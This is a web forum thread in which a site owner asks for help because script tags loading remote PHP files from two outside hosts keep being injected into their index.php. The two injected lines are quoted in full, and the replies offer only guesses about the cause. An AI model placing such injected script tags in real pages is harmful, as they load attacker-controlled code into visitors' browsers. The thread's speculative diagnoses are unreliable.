Website keeps adding additional coding to the index.php file

[oodya]

Hi all,

I would really appreciate a bit of help with this. A few days ago, I started messing about with adding a shopping cart to my website. Since then I noticed that the following got added to my index.php file:

</head><script src=http://zegarki.ehost.pl/artdance/podklad.php ></script>

The above coding is not something that I have put in myself.

Since this coding has added itself to my site, I have decided to delete everything on my website and replace all the files with a backup that I had taken (which does not have the above coding in it).

I have then seen the code re-appear again in my index.php file. I can remove this section of the code manually, but I know it will keep on coming back.

Can someone please help me with this. If any further info is needed from myself, please let me know.

Thanks.

[techietim]

This is probably due to a security flaw in the script. You should not use that same script until you upgrade to a fixed version.

[oodya]

Hi,

Thanks for the reply. So what would be the best thing for me to do? It looks as though there is a 'hole' somewhere in my site. How can I get to the bottom of this?

Thanks.

[richei]

do you know what the script is doing?

[oodya]

Hi,

On my brother's PC - when using Firefox and trying to access the website, it completely shuts Firefox down. Apart from that, I am not too sure. It has again added itself back.

Any ideas?

Thanks,

[oodya]

Hi,

The following coding has been added to my site now:

</head><script src=http://christinateatern.se/images/kartachristina.jpg-for-web-small.php ></script>

Does anyone have any ideas please? Are there any permissions that I need to check on my website? I have not changed any permissions, so anyone got any ideas on what the permissions should be?

Thanks,

[richei]

i would contact your host, sounds like there might be a virus or something on their servers. if its one of those free deals, then it might be something their doing for advertising.